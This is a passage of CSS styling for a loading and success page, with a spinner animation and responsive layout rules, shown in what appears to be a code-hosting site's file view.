|
||||
display: block;
|
||||
}
|
||||
}
|
||||
|
||||
.main-content {
|
||||
/* padding-top: 160px; */
|
||||
display: block;
|
||||
}
|
||||
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.success-icon {
|
||||
font-size: 50px;
|
||||
color: #4bb543;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: #333;
|
||||
font-size: 1.5em;
|
||||
}
|
||||
|
||||
p {
|
||||
color: #666;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
.loader {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
border: 4px solid #f3f3f3;
|
||||
border-top: 4px solid #385bf8;
|
||||
border-radius: 50%;
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
animation: spin 2s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% {
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
/* 响应式设计 */
|
||||
@media (min-width: 768px) {
|
||||
.container {
|
||||
max-width: 600px;
|
||||
padding: 40px;
|
||||
}
|
||||
|
||||
.success-icon {
|
||||
font-size: 70px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
}
|
||||
|
||||
p {
|
||||
font-size: 1.2em;
|
||||
}
|
||||
}
|
||||
|
||||
p {
|
||||
display: block;
|
||||
margin-block-start: 1em;
|
||||
margin-block-end: 1em;
|
||||
margin-inline-start: 0px;
|
||||
margin-inline-end: 0px;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
</style>
|
||||
Reference in New Issue
Block a user